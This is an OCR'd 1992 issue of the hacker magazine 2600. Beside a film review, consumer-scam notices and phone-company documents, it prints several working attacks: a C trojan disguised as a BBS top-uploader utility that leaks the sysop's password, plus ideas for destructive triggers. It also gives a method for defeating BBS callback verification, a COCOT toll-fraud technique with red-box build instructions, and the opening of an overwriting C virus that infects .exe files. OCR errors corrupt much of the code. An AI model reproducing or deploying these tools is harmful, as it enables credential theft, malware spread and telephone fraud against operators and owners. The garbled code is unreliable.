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2600 Magazine
Autumn, 1992
OCR'd by:
(Tsk, tsk. You didn't really think I)
(was gonna tell you that, did you? &)
(the next thing I know my phone, elec)
(gas & cable are shut off, my Visa is)
(maxed out, and the FBI says I killed)
(JFK & MLK. I think NOT!!!!!!!!!!!!!)
(Anyway, you should buy, or better yet, subscribe to this GREAT)
(magazine, these guys need & deserve our support. I have taken)
(great care to make sure that ALL addresses, etc. are accurate.)
(Still, considering just what it is they do, this is just a bit)
(ironic, isn't it??????????????????????????????????????????????)
STAFF
Editor-In-Chief Emmanuel Goldstein
Office Manager Tampruf
Artwork Holly Kaufman Spruch
"The back door program included a feature that was designed to modify a
computer in which the program was inserted so that the computer would be
destroyed if someone accessed it using a certain password."
United States Department of Justice, July 1992
Writers: Billsf, Eric Corley, Count Zero, The Devils Advocate,
John Drake, Paul Estev, Mr. French, Bob Hardy, The Infidel,
Knight Lightning, Kevin Mitnick, The Plague, Marshall Plann,
David Ruderman, Bernie S., Silent Switchman, Scott Skinner,
Mr. Upsetter, Dr. Williams, and the transparent adventurers.
Technical Expertise: Rop Gonggnjp, Phiber Optik, Geo. C. Tilyou.
Shout Outs: 8088, NSA, Mac, Franklin, Jutta, Eva, the Bellcore Support Group.
2600 (ISSN 0749-3851) is published quarterly by 2600 Enterprises Inc.,
7 Strong's Lane, Setauket, NY 11733. Second class postage permit paid at
Setauket, New York.
POSTMASTER: Send address changes to
2600, P.O. Box 752, Middle Island, NY 11953-0752.
Copyright (c) 1992 2600 Enterprises, Inc.
Yearly subscription: U.S. and Canada: $21 individual, $50 corporate (U.S. funds).
Overseas -- $30 individual, $65 corporate.
Back issues available for 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991
at $25 per year, $30 per year overseas. Individual issues available
from 1988 on at $6.25 each, $7.50 each overseas.
- ***************************************************************************
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- 2600 Subscription Dept., P.O. Box 752, Middle Island, NY 11953-0752. *
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- *
- ***************************************************************************
2600 Office Line: 516-751-2600, 2600 FAX Line: 516-751-2608
Hacking
by Swinging Man
The recent article on security holes in WWIV BBS's got me to thinking. Where
WWIV is the board of choice among clone sysops, AmiExpress is the dominant
software in the Amiga community, the pirate community anyway.
AmiExpress is a relatively simple piece of software, and that's good because
it keeps things quick and easy. No means are provided for the sysop to keep
track of top uploaders or even last callers. What is provided is a batch file
that is executed each time a user logs off. In the batch file, one runs
utilities to compile data into text files that are stored as bulletins. That
way the next user sees a bulletin containing the last few users that called,
etc. It's a hassle, but it works.
When I ran my own board, I wrote my own utilities to fill in these functions.
Then put them in an archive and sent them out into the ether. It's good
advertising. Most sysops don't write their own (surprise!); they have enough
trouble getting utilities written by other people to run. This means it's
really easy to take advantage of them.
Most utilities search through four files: BBS:USER.DATA, which holds all the
records of users; BBS:NODEx/CallersLog (where x is the node number and is
usually 0), which records all the important stuff a user does when he's online;
BBS:UDLog, which is like CallersLog, but only records transfers; and
BBS:conference/Dirx, which are the vanilla ASCII files containing the names and
descriptions of all the "warez."
USER.DATA is the most interesting. If one were to write a top uploader
utility, as I have done in the past, one would need to open this file to sort
all the users by bytes uploaded. While you've got the file open, why not save
the sysop's password for later? That's what I've done in the example program
called "Steal.C ." It prints the best uploader with a seemingly random border
around his name. Here's what the output looks like:
UtwFqNyXoVAKBfsegnxRvDbPrmcdWl
## PRESTO ##
UpwFqayXosAKBssegwxRvobPrrcdWd
It looks random, but the difference between the top line and the bottom
spells out "passwor&" Easy to see ff you're Iooldng for it, but if you're not
paying attention it just looks like garbage. Of course, you could think up a
better method of encrypting the password than just replacing every fourth
letter.
This one is neat because you can just log on and see the sysop's password,
but it's not the only way to do it. You could do anything to any user; however,
the more specific the program becomes, the less useful it will become. It's not
easy to get a sysop to change top uploader utilities. It would have to be better
than the one he has, or maybe a fake update.
I can think of endless fun to have with these utilities. How about a bit of
conditional code that formats all drives when a certain user logs on, such as
"Kill Board." Or maybe you just want to copy USER.DATA to a download path,
renamed as "coolware.dms".
So what can you do if you're an AmiExpress sysop? Don't use utilities written
by anyone other than yourself. There isn't any other way. You can monitor the
files opened when a utility is run, but an event-driven action won't be
detected. Or you could look at the whole file and look for any text The text
strings passed to DOS are usually intact. Of course a crunching program like
IMPLODER will get rid of this. And an IMPLODED file can be encrypted with a
password, so good luck finding something that way. Then again, you could
always just forget it. It's only a BBS... you've got nothing to hide. Right?
This idea isn't just about AmiExpress. How many BBS's have doors, or online
games? How hard would it be to write a game like TradeWars that has an extra
option that does any of the nasty things you've always wanted to do?
------------------------------------------------------------------
/**************************************************************************/
/** SysOp Password Stealer vl.0 by Swinging Man **/
/** Prints top uploader.....but also reveals SysOp's password **/
/** in the boarder **/
/**************************************************************************/
#include <stdio.h>
#include <ctype.h>
#include <time.h>
struct userdata { /* 232 bytes */
/* Since I hacked this out, there are still many */
/* unknown areas of the record */
char name[31]; /*user's name*/
char pass[9]; /*user's password*/
char from[30]; /*user's FROM field*/
char lone[13]; /*phone number field*/
unsigned short number; /*user number*/
unsigned short level; /* level*/
unsigned short type; /*type of ratio*/
unsigned short ratio; /*ratio of DLs to one UL*/
unsigned short computer; /*computer type*/
unsigned short posts; /*number of posts*/
char unknownO[40];
char basel10]; /*conference access*/
unsigned int unknown_numO;
unsigned int unknown_numl;
unsigned int unknown_num2;
unsigned int used; /*seconds used today*/
unsigned int timel; /*time per day*/
unsigned int time2; /*clone of above*/
unsigned int bytesdn; /*bytes downloaded*/
unsigned int bytesup; /*bytes uploaded*/
unsigned int bytelimit; /*bytes avail per day*/
unsigned int unknown_num3;
char unknown1 [46];
};
FILE *fp;
struct list {
char name[40];
unsigned int bytes_uploaded;
struct list *next;
};
char rnd() {
char c;
c = (char)rand();
while(!(isalpha(c)) || (c<20)) c = (char)rand();
return (c);
}
main() {
int x,y;
struct userdata user;
struct list head;
struct list *temp, *temp2;
char password[9];
char border[31 ];
char middle[31 ] = "## ##";
head.next = NULL;
if((fp = fopen("bbs:user.data","r")) == NULL) {
printf("Can't Open User File\n");
return 1;
}
/*get all users and put in list*/
while(fread((void *)&user, sizeof(struct userdata), 1, fp) == 1){
if(user.number == 1) strcpy(password, user.pass);
if((user.level<200) &&(user.level>O)
&& (user.bytesdn > 0)) {
ternp = (struct list *)malloc(sizeof(struct list));
if(temp == NULL) {
printf("Out of Memory!\n");
exit(1);
}
strcpy(temp->name, user.name);
temp->bytes_uploaded = user.bytesup;
temp2 = &head;
while((temp2->next != NULL)
&& ((temp2->next->bytes_uploaded)
> (temp->bytes_uploaded))) {
temp2 = temp2->next;
}
temp->next = temp2->next;
temp2->next = temp;
}
}
fclose(fp);
temp = head.next;
srand((unsigned int)time(NULL));
y = O;
for(x=O;x<30;x++) border[x] = rnd();
border[30] = '\0';
printf("%s\n" ,border);
strncpy(&middle[15-(strlen(temp->name)/2)],temp->name,strlen(temp->name));
printf ("%s\n" .middle);
for(x=1 ;x<30;x+=4) border[x] = password[y++];
printf("%s\n" ,border);
}
------------------------------------------------------------------
THE ALLIANCE AGAINST FRAUD IN TELEMARKETING
NATIONAL CONSUMERS LEAGUE
THE TOP TEN SCAMS OF 1991
1. POSTCARD GUARANTEED PRIZE OFFERS
You Are A DEFINITE Winner
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Dial 900 To Claim Your Gift
4. PRECIOUS METAL INVESTMENT SCHEMES
Gold Bullion: A 700% Profit Guaranteed Within Six Months
5. TOLL CALL FRAUD
For Ten Bucksc Call Anywhere In The World
6. HEADLINE GRABBERS
Thousands of Jobs Available: Help Rebuild Kuwait
7. DIRECT DEBIT FROM CHECKING ACCOUNTS
Give Us Your Checking Account Number: We'll Handle The Rest
8. PHONY YELLOW PAGES INVOICES
Send Us Your Check Today, To Make Sure Your Firm Is Listed
9. PHONY CREDIT CARD PROMOTIONS
Bad Credit? No Credit? No Problem
10. COLLECTORS ITEMS
Fabulous Coins At A Fraction Of The Dealer Price
THE ALLIANCE AGAINST FRAUD IN TELEMARKETING
C/O THE NATIONAL CONSUMERS LEAGUE
815 FIFTEENTH STREET N.W., SUITE 928-N
WASHINGTON, DC 20005
202-639-8140
------------------------------------------------------------------
--
----
---------- AT&T
----
--
Dear ######### {Minor Threat},
AT&T has reason to believe that the telephone listed to you has been used in
violation of Federal Comunnications Commission - AT&T Tariff F.C.C. No. 2
Sections 2.2.3 and 2.2.4.C. These tariff sections prohibit using WATS to harass
another, using WATS to interfere with the use of service by others and using
WATS with the intent of gaining access to a WATS Customer's outbound calling
capabilities on an unauthorized basis.
Accordingly, AT&T has temporarily restricted your telephones service's ability
to place AT&T calls in accordance with section 2.8.2 of the above tariff. If
the abusive calling occurs after AT&T lifts the temporary restrictions, the
restriction will be reimposed until AT&T is satisfied that you have undertaken
steps to secure your number againsl future tariff violations.
You should also note that unauthorized possession or use of access codes can
constitute a violation of United States Criminal Code - Title 18, Section 1029,
which carries a penalty of up to a $10,000 fine and up to 10 years imprisonment
for first thne offenders. Any future activity from telephones listed to you may
be referred to federal law enforcement officials.
If you wish to discuss this restrictions you may do so in writing to AT&T
Corporate Security, CN 4901, Warren, NJ 07059-4901.
{According to Minor Threat, this letter was received about a week after he
had scanned about 50 800 numbers in the 222 prefix sequentially by hand.}
------------------------------------------------------------------
Defeating Callback Verification
by Dr. Delam
So you feel you've finally met your match. While applying at this board
that you've applied at before, you use a fake name, address, and phone
number. Then comes the part you hate most: the callback verification. "How in
hell am I going to get access without giving out my real number?! I guess i'll
just have to 'engineer' the sysop." Only this particular sysop is too good.
He tries a voice verification, and finds either a bad number or someone who
doesn't even know what a BBS is. Now you have to reapply again! If you worked
for the phone company or knew how to hack it, maybe you could set yourself up
with a temporary number, but unfortunately you don't. So you think hard and
come up with an idea: "All need is a local direct dial VMB. Then I can just
have the sysop call that and make him think it's my home VMB system... that
is, if I can find one to hack."
Naw, still too hard. There must be an easier way. Loop? No, who wants to
wait forever on a loop - every so often talking with Fred the pissed-off
lineman. What else, what else? You can remember the things you used to do as
a kid before you even knew what phreaking or hacking was. How about the time
you called your friend Chris and at some point in the conversation, when
things got boring, Chris said "I'm gonna call Mike now. Bye!" But you didn't
want to hang up. You heard click, click... but no dialtone. You say "Hello?"
and suddenly you hear Chris shout "Hang up the phone!" Haha! You had
discovered a new trick! If you originated the call, you had ultimate
control! That means if I call a BBS and it hangs up first, I actually am
still connected to the line for a brief period (usually a maximum of 15
seconds); and if the BBS picks up again to dial me for callback verification,
it will get me for sure, regardless of the number it has!"
This leaves just two problems to solve. The first problem occurs when
your modem senses a drop in DTR or loss in carrier from the BBS's modem, it
will go on-hook. This means you will have to catch the phone before your modem
hangs up. Your modem may have a setting that will ignore these changes. If
not, you can build a busy switch. This may be done by placing a 1K ohm
resistor and an SPST switch between the ring and tip (red and green) wires of
your phone line. Completing this circuit at any time while online has
the effect of a permanent off hook condition. The resistance provided is
equivalent to the resistance present when your phone is off hook, thus
creating a condition the C.O. recognizes as off hook. With good soldering and
a good switch, no interference will be present after the switch is thrown
while connected.
Note: Sysops may find the busy switch useful as a confirmation that the
phone line is "busied out" when the BBS is taken down. Sometimes during down
times a reboot or power down is necessary, which will cancel any busying
effects the modem had set previously, making a busy switch in this case
ideal. The second problem occurs when the BBS's modem expects a dialtone
after going from on hook to off hook. A dialtone will have to be provided for
the BBS's modem before it will try dialing whatever phone number you
provided. This requires what I call a "CAVERN box" (CAllback VERificatioN).
Like many other boxes, it is a simple generation of tones. For a cheap and
inexpensive method, use a tape recorder to record and play back the dialtone.
Computer sound generation hasn't been tested, but most PC speakers generate a
square wave, while dialtones are sinusoidal. The best chance for accurate,
artificial sound generation is with a synthesizer. The two frequencies of a
dialtone are 300hz and 420hz. Many musicians recognize 440.00hz as the note
A4, and the frequency from which scales are built. Just below A4 on an equal
tempered chromatic scale is at 415.30hz. Tuning a synthesizer just shy of a
positive quarter tone from the normal scale will yield a G#4 at 420hz and
bring the D4 of 293.66hz within an acceptable range of 300hz.
Needless to say, once you have prevented your modem from hanging up and
have generated a dialtone which has effectively caused the BBS's modem to
dial the phone number, you should issue an answer tone by typing the Hayes
"ATA" command. You will then be connected with the BBS's modem and will have
protected your identification.
Thanks to Green Hell for some help in generating concepts presented.
------------------------------------------------------------------
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To contact a 2600 writer, call 0700-
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preface that with 10288. Use touch
tones to track down the writer
you're looking for. Overseas callers
can call our office (516) 751-2600
and we'll forward the message.
------------------------------------------------------------------
ADJUSTMENT LETTER
CALLING CARD FRAUD CLAIMS
Date_______
Customer Name
City, State
Re: (Account Number)
Dear ___________________,
Your AT&T Calling Card is a valuable service to help meet
your long distance needs. AT&T is concerned with quickly
resolving any unauthorized charges associated with your AT&T
Calling card. In response to your request, we have removed the
disputed charges from your account. This credit is made pending
an investigation of your claim by AT&T.
To facilitate the investigation of your claim, please complete
the bottom portion of this letter. Read the information,
describe the facts surrounding your claim, include any relavent
documentation that you may have, sign and return it to us in the
enclosed postage-paig envlope.
(Please complete this portion and return to AT&T Security.)
AT&T Corporate Security
P.O. Box 1927
Roswell, Georgia 30077-1927
On my ___/___/___ Billing statement(s), long distance charges for
calls in the amount of $_______ were billed to my telephone
number__________________. These calls were not made or authorized by
me. I have received an adjustment for these calls and
understand that this adjustment is made pending an investigation
of my claim by AT&T Security.
(Please describe the facts which lead you to believe these
are unauthorized. You may attach additional sheets if needed.)
I will cooperate with AT&T Security in investigating my claim.
Signed______________________________
Print Name__________________________
Social Security Number______________
Account Number______________________
If you have any questions, please call AT&T Security at
800 346-4073 or 800 346-4074.
Sincerely,
Account Representative
****WHAT A GREAT SCAM TO GET SOCIAL SECURITY NUMBERS.****
------------------------------------------------------------------
PHONE MANAGEMENT ENTERPRISES
396 WASHINGTON AVENUE
CARLSTADT, NEW JERSEY 07072
(201) 507-1951
FAX (201) 507-1095
THIS LETTER IS REGARDING YOUR RECENT REQUEST FOR A REFUND ON THE
PAY TELEPHONE YOU USED. WE APOLOGIZE FOR ANY INCONVENIENCE THIS
MAY HAVE CAUSED YOU AND WE ASSURE YOU, THE PROBLEM HAS BEEN
CORRECTED.
WE ARE ENCLOSING, IN LIEU OF A CASH REFUND , UNITED STATES POSTAL
STAMPS TO COVER YOUR LOSS, THIS BEING A SAFER WAY FOR YOU TO BE
ASSURED OF YOUR REFUND.
SHOULD YOU HAVE ANY QUESTIONS, PLEASE CALL US AT (201) 507-1951.
SINCERELY,
PHONE MANAGEMENT ENTERPRISES, INC.
This is what happens when you request a refund from this company. In this
case, correspondent Winston Smith received two 25 cent stamps which
means he now has to get two four-cent stamps if he wants to mail anything.
Note also that this letter is actually a xerox of a fax that originated
with Tri State Radio Co. The wondrous mysteries of a COCOT ....
------------------------------------------------------------------
SHOPPER'S GUIDE TO COCOTS
by Count Zerg
Restricted Data Transmission
'Truth is Cheep, but information costs'
So you're walking down the street and you see a payphone. Gotta make an
important call, so you dig into your pocket to get a dime. Picking up the
handset, you suddenly notice that the payphone wants a quarter for a local
call! What the hell, and where did this synthesized voice come from?
Let's make this article short and to the point. COCOT is an acronym for
Customer Owned Coin Operated Telephone. In other words, a COCOT is a phone
owned or rented by a paying customer (most likely, a hotel or donut shop). A
COCOT is not a normal payphone. The telco doesn't own it, and the actual phone
line is usually a normal customer loop (unlike payphones, where the phone line
is a 'special" payphone loop, allowing the use of "coin tones" to indicate
money dropped in). So a COCOT may look and smell like a telco payphone, but it
is not.
Why do COCOTs exist? Simple. Money? A customer owned payphone is money in
the bank. You pay more for local calls and long distance is typically handled
by sleazy carriers that offer bad/expensive service. The owner/renter of the
COCOT opens the coinbox and keeps the money him/herself! Also, a particularly
sleazy quality of a COCOT is the fact that it does not receive incoming calls.
This, of course, is because of money. If people are calling in to a COCOT, the
COCOT is not making money and businesses always want to make as much money as
possible even if it hurts the consumer. Think about it. It really sucks to
call someone at home from a COCOT and then not be able to have him/her call
you back to save money. "Guess I'II have to keep feeding the COCOT quarters!"
Where is a good place to look for COCOTs? Outside Dunkin Donut shops,
restaurants, clubs, bars, and outside/inside hotels and 'convenient" locations.
How do l figure out if I have found a COCOT? Simple. A COCOT will have no
telco logos on it. It may look just like a telco phone chrome with blue
stickers and all that. Also, a COCOT typically charges more for a local call
than a regular telco payphone. (In Massachusetts, local calls are a dime. In
places like New York City, they are 25 cents.) A COCOT will most often have a
synthesized voice that asks you to "please deposit 25 cents" or whatever.
Also, some fancy COCOTS will not look like payphones at all. Some in hotels
have weird LCD displays and look totally different but they always charge you
more than a normal payphone.
I found this weird payphone in Boston that wants a quarter, and this
synthesized voice is harassing me. When does the phun begin? Soon. First of
all, you must understand that the COCOT is a mimic. Essentially, it wants you
to think that it is just a plain ol' payphone. Pick up the handset. Hear that
dialtone? Hah? That dialtone is fake. synthesized by the innards of the COCOT.
You are at the mercy of the COCOT. Remember, a COCOT runs off of a normal
customer loop so, unlike a telco payphone where you must deposit money to
generate coin tones that are read by the central office, the security of a
COCOT depends solely on the COCOT phone itself. It's as if you took your own
phone and put a sign on it saying "Please put 10 cents in this jar for every
call you make." COCOTS are not naive. They won't let you near the unrestricted
dialtone until you fork over the cash-ola. Or so they think!
See, the Achilles heel of the COCOT is the fact that all payphones must let
you make 1-800 calls for free! It's not just a fact, it's the law. Now pick up
the handset again and place a 1-800 call. Any 1-800 number will do. When they
answer at the other end, just sit there. Do nothing. Ignore them. Wait for
them to hang up the phone. Here's an example.
Dial 1-800-LOAN-YES.
[Ring, Ring] ... [click] "Hello, you wanna buy some money?
Hello? HELLO?!" [CLICK]
(You will now hear some static and probably a strange "waffling" noise,
like chh, chh, chh, chh, chh)
[CLICK] DIALTONEl
Now what have we got here? A dialtone? Yes, you guessed it, the
dialtone you now hear is the unrestricted dialtone of the COCOT's customer loop.
So what? So I got an "unrestricted dialtone". Big deal?
Meathead! With an unrestricted dialtone, all you need to do is place a call
via DTMF tones (the tones a touch-tone keypad generates). Now, try dialing a
number with the COCOT's keypad. Whoal Waitasec, no sound! This is a typical
lame attempt at protection by the COCOT. Just whip out your Radio Shack pocket
tone dialer and try calling a number, any number. Place it just as if you were
calling from a home phone. Call a 1-900 sex line. Call Guam. You are free and
the COCOT's customer loop is being billed!
Note: some COCOTS are more sophisticated at protecting themselves. Some
will reset when they hear the dialtone. To get around this, make a loud
hissing sound with your mouth into the mouthpiece after the 1-800 number hangs
up. Get your tone dialer ready near the mouthpiece. When you hear the
dialtone, quickly dial the first digit of the number you want to call. If you
hiss loudly enough, you may be able to mask the sound of the dialtone and
prevent the COCOT from resetting. Once you dial the first digit of the number
you are calling, the dialtone will disappear (naturally). You can stop hissing
like an idiot now. Finish dialing your free phone call. Also, some COCOTs
actually disable the handset after a call hangs up (in other words, you can't
send DTMF tones through the mouthpiece). Oh well, better luck next time.
However most of the COCOTs I have run across only disable the DTMF
keypad. So all you need is a pocket dialer to circumvent this!
Other things to know: Sure, you can't call a COCOT, but it does have a
number. To find out the COCOT's number, call one of the automated ANI services
that tell you the number you're dialing from (the numbers keep changing but
they are frequently printed in 2600). Now try calling the COCOT from another
phone. You will hear one of two things: 1) synthesized voice: "Thank you"
[DTMF tones] [CLICK] [hang up]; 2) weird carrier.
A COCOT's number is only used by the company that built or sold the COCOT.
By calling up a COCOT, a tech can monitor its functioning, etc. In case number
1, you must enter a 3 or 4 digit password and then you'II get into a voice
menu driven program that'Il let you do "maintenance" stuff with the COCOT. In
case number 2, you are hooked to the COCOT's 300 bps modem (Yes, a modem in a
payphone). Likewise. if you can figure out the communications settings, you'll
be into the COCOT's maintenance routines.
Personally. l haven't had much luck (or patience) with calling up and
hacking COCOT maintenance functions. l just like making free phone calls from
them.
COCOT Etiquette: Now, remember, you are making free phone calls but
someone has to pay for them and that is the owner. The COCOT's customer loop
is billed the cost of the calls, and if the owner sees a big difference in the
profits made on the COCOT (profit equals coins from the COCOT minus the bill
from the telco for customer loop), they'Il know something is up. So the rule
is don't abuse them/Don't call a 1-900 number and stay on the line for 12
hours! If a COCOT is abused severely, an owner will eventually lose money on
the damn thing. And that means bye bye COCOT. Also, remember that a record of
all long distance calls is made to the COCOT's customer loop and COCOT
companies will sometimes investigate "billing discrepancies" so don't call
anyone you personally know unless you are sure they are "cool".
[RING RING] "Hello?"
"Hello, this is Cointel, Inc. We'd like to ask you a few questions about a
call you received from Boston on 2/12/91. Could you tell us the name and
address of the person who placed the call?"
Cool dude: "What? I don't remember. Go to hell! [SLAM]"
Meathead: "Uh, sure, his name is John Smith. You want his address too?"
Get the picture? Good....
COCOTs are a great resource if we use them wisely, like our environment.
We've gotta be careful not to plunder them. Make a few long distance calls and
then leave that particular COCOT alone for awhile. Chances are your bills will
be "absorbed" by the profit margin of the owner and probably ignored but the
smaller the owner's profit margin gets, the more likely suspicions will be
aroused. 'nuff said! I have found COCOTs everywhere. COCOT technology is
relatively new, though. I know many towns that have none. Check out big cities.
As for a tone dialer, don't leave home without one! A true phreak always
has a DTMF tone dialer at hand along with a red box! My personal favorite is
the COMBO-BOX (red box plus DTMF). Take a Radio Shack 33-memory Pocket Dialer.
Open up the back. Remove the little 3.579 MHz crystal (looks like a metal
cylinder). Unsolder it. Solder on a couple of thin, insulated wires where the
crystal was attached. Thread the wires through one of the "vents" in the back
of the tone dialer. Get ahold of a 6.5536 MHz crystal (available thru Fry's
Electronics, 89 cents apiece, phone number (415) 770-3763). Go out and get
some quick drying epoxy and a Radio Shack mini Toggle Switch. DPDT, cat. #275-
626. Close the tone dialer, with the two wires sticking out one of the back
vents. Screw it up tight. Now, attach the crystals and wires to the switch
with solder as in the diagram below:
|^^^^^|
| xx <3.579 crystal> small one
| |
toggle switch -> oooooooX xxxxs <two wires>
| |
| xx <6.5536 crystal> big one
| |
^^^^^
Each "xx" prong in the diagram is actually two prongs. Hook up the two
leads from the crystals to separate prongs (same with the wires).
Now, epoxy this gizmo to the side of the tone dialer. Use a lot of epoxy,
as you must make the switch/crystals essentially embedded in epoxy resin, as
in the diagram below:
Front view -> _________________________
| |T <-toggle switch
| oo oo oo |---
| | |
| |---
| 1 2 3 |Bs <-two crystals (B=big,s=small)
| | | in epoxy "blob"
| 4 5 6 |--
| |
| 7 8 9 | ^two wires running to back of unit
| |
| * 0 # |
| |
-------------------------
_________________________
Back view -> | |
T | o ----- o-----------------------vent (1 of 4)
---| / \ |
| | | --------------------speaker
---| | | |
sB| | | |
2 wires -> \------o ---- o |
running into | |
vent | |
| |
| |
| |
-------------------------
Make sure the epoxy is really gobbed on there. You want to be certain the
switch and crystals are firmly attached and secure in a matrix of epoxy (it
doesn't concduct electricity, so don't worry about shorting out the
connections to the toggle switch). Just don't gum up the action of the switch!
Basically, you've altered the device so you can select between two crystals
to generate the timing for the microprocessor in the tone dialer.
Turn on the tone dialer. Now you can easily switch between the two crystal
types. The small crystal will generate ordinary DTMF tones. By simply flicking
the switch, you generate higher tones, using the memory function of the tone
dialer, save five stars in the P1 location. Now dial the P1 location using the
big crystal. Sure sounds like the tones for a quarter, dowsn't it?
Carrying this around with you will always come in handy with both telco
payphones and COCOTs! No phreak should be without one!
References for this article include Noah Clayton's excellent piece on
COCOTs in 2600 Magazine, Autumn 1990. Also The Plague's articlt, on Tone
Dialer conversion to Red Box, 2600 Magazine, Summer 1990 (which inspired me to
create the COMBO-BOX (red box plus DTMF dialer).
Information is power... share it And drink massive amounts of Jolt Cola.
Trust me, it's good for you. Keep the faith, and never stop searching for new
frontiers.
------------------------------------------------------------------
FILM REVIEW
Sneakers
Universal Pictures
Starring: Robert Redford, Ben Kingsley, Dan Akroyd, River Phoenix, James
Earl Jones, Sidney Poitier, David Strathairn, Mary McDonnell.
Review by Emmanuel Goldstein
If there's one thing we can determine right off the bat, its that Sneakers
is most deflniiely a fun film. But whether or not it is a hacker film is a
topic open to debate. A good many of the characlers are hackers, or former
hackers. And it is this skill which gives them the ability to do what they do:
get into things they're not supposed to be able to get into. The difference is
that these people do it for profit. And that fact alone is enough to make this
a non-hacker movie. Afar all, hackers don't do what they do with profit in
mind. But Sneakers is most definitely a film for hackers since there is so
much in the way of technique that is illustrated.
The opening scene is a flashback to the ideologically correct era of anti-
war marches and draft card burnings. It's at that time that two hackers
(complete with rotary phones and an acoustic coupler) get into some major
trouble when they mess with Richard Nixon's bank account. The stage is set,
the time shifts to the present, and one of the hackers turns into Robert
Redford. He now runs a company that tests security, for a phenomenal fee.
(Some of our friends who actually do this kind of thing tell us that the fee
is absurdly low for that type of work.) His co-workers include a blind phone
phreak who has remarkable perceptive powers, a hopeless paranoid who's
convinced that everything is a plot of some kind, an ex-CIA agent who doesn't
like to talk about why he left, and a kid who changed his grades by computer,
no doubt after reading our Autumn 1989 issue. This mixed up bunch, played by a
well-above-average cast, is fodder for unique situations and dialogue. And
it's about time.
The action centers around the group's quest for a magic box which can
supposedly decrypt any encryption scheme. "There isn't a government in the
world that wouldn't kill" for this kind of technology, they aptly surmise. The
existenco of this magic box is the one truly silly element of Sneakers.
Fortunately, the remaining technical issues contain only trivial flaws, such
as lack of a delay on a multi-satellite phone call or the fact that everybody
seems to use compatible equipment. We must recognize that Hollywood needs to
take some liberties with reality.
As the group continues its quest for the Holy Box, they become caught up
in the whole FBI-CIA-NSA world. leaving the viewer with a less than
satisfactory judgment of how the world of intelligence works. This was without
doubt precisely the intention.
In many ways, Sneakers is a political thriller and one which doesn't miss
an opportunity to throw some political barbs. George Bush and the Republican
Party are the favorite targets of this "culturally elitist" production. Again,
it's about time.
But best of all is the fact that Sneakers at no point tries to send a moral
message about hacking. Rather, hackers are looked upon as a reality; there are
people who do this kind of thing and they have a useful place in society. With
the kind of information being recorded these days, you need some of that
hacking ability to be able to figure out what's really happening. True. this
knowledge can be misused and distorted, as the film demonstrates. But that is
human nature. If the good hackers were to disappear, only the evil ones would
remain.
Sneakers manages to send a serious message without taking itself too
seriously. In fact, the confrontation between the NSA bigwig (James Earl
Jones) and the group carrying the magic box is remarkably reminiscent of
Dorothy and friends meeting the wizard after getting the Wicked Witch of the
West's broomstick. A great man probably once said that the best way to send a
serious message is through humor. Sneakers does this and still keeps the
audience on the edge of their seats.
------------------------------------------------------------------
People are always wondering whether or not telephone company employees get
discounts on their phone bills. Well, we've discovered that NYNEX offers two
classes of what is known as Telephone Service Allowance (TSA). This allowance
can be used by NYNEX employees and their families for personal use as well as
NYNEX business. Forbidden activities include other businesses or political
campaign activities. The allowance only applies to the primary residence of
the employee. Class A service provides a 100 percent allowance while Class B
provides a 50 percent allowance. Those entitled to Class A status include
management employees, nonmanagement employees with 30 years or more, retired
employees on a service or disability pension, and employees with specified job
functions, particularly those on call 24 hours a day. Those entitled to Class
B generally include employees not eligible for Class A.
CHART II
TELEPHONE SERVICE ITEMS AND ALLOWANCE
------------------------------------------------------------------------------
New England New York
Cls A Cls B Cls A Cls B
SERVICE ITEMS
------------------------------------------------------------------------------
Exchange Servlce
Basic service, one main line, 3 outlet 100% 50% 100% 50%
wires, wire investment, etc.) Includes any
IntraLATA toll option offered.
------------------------------------------------------------------------------
Other Services
Local Exchange Service Mileage 100%. 100%. 100%. 50%
Touch Tone Service 100% 100% 100%. 50%
Customer Access Charge 100%, 100%. 100%. 50%
End User Originating Access (when approved) 100%. 100%. -- --
------------------------------------------------------------------------------
Custom Calling Features or Package
Ca11 Malting 100%, 50% 100% --
Call Forwarding 100%. 50% 100% --
Three-way Calling 100%. 50% 100% --
Speed Calling-8 numbers 100%. 50% 100% --
Speed Calling-30 numbers 100%, 50% 100% --
------------------------------------------------------------------------------
Charges
(i.e. Install line, change Service, install 100% 50% 100% 50%
wire & Jacks, change grade of service or
telephone number.) Does not include station
or other equipment.
------------------------------------------------------------------------------
Toll Charges
IntraLATA toll and credtt card calls (3), 100% up 50% of 100% up 50%
additional local usage, IntraLATA directory to $90/ up to to $35/ (2)
assistance, & temporary surcharges qtr. $60/mo. mo.
------------------------------------------------------------------------------
Directory Listings
Change in listing 100% 100% 100% 100%.
Additional directory listings:
Unrelated person-same house -- -- -- --
2 or more employees-same house 100% 100%. 100% 100%
Relatives/dependents of employees-same house 50% 50% -- --
------------------------------------------------------------------------------
Notes:
1. An empIoyee eligable for a CIass A Service allowance may have additional
quantitiea of the items as well as Continuous Property Mileage (employee's
property) at a 50% allowance with approval of his/her fifth level.
2. Applies to local message units, IntraLATA directory assistance, and
temporary surcharges only.
3. IntraLATA charges are billed by the telephone company providing your
service. InterLATA charges are billed by long distance companies (i.e.
AT&T, MCI, GTE Sprint).
------------------------------------------------------------------
A Simple Virus in C
by Infiltrator
C seems to be the programming language of the 90's. Its versatility
and ability for the same code to be used on different computer platforms
are the reasons for this. So in a brief burst of programming energy I
have created this little C virus. It's a basic overwriting virus that attacks
all .exe files in the directories off the main C directory. The virus spreads
itself by overwriting the virus code on top of the victim file. So the victim
file becomes yet another copy of the virus. So as not to reinfect, the
virus places a virus marker at the end of the victim file. Now I know that
this is not the best coding and that it could be improved and refined but
since I'm too lazy to do that you will just have to suffer.
Now the legal stuff: Please do not use this virus to do any harm or
destruction, etc., etc. This virus is for educational use only and all that
good stuff. Have fun!
/***************************************************************************
- *
- A note from your friendly OCR'r: I HATE C. If this were pascal, or *
- even ASM, I could guarantee the accuracy of the following code, but *
- since more than 5 minutes of anyone elses C source gives me migraines, *
- I'd use the following code VERY carefully. Better yet, use the HIGHLY *
- accurate 2600 subscription dept. address in this file, and you can *
- proceed with your mayhem in relative safety... *
- **************************************************************************/
/* THE SIMPLE OVERWRITING VIRUS */
/* CREATED BY INFILTRATOR */
#include "stdio.h"
#include "dir.h"
#include "io.h"
#include "dos.h"
#include "fcntl.h"
/********** VARIABLES FOR THE VIRUS **********/
struct ffblk ffblk, ffblk1 ,ffblk2;
struct ftime ft;
int done,done1 ,lfof,marker=248,count=0,vsize=19520,drive;
FILE *victim,*virus,*lf;
char ch,vc,buffer[MAXPATH],vstamp[23]="HAPPY, HAPPY! JOY,JOY! ";
struct ftime getdt();/* */
setdt(); /* Function prototypes
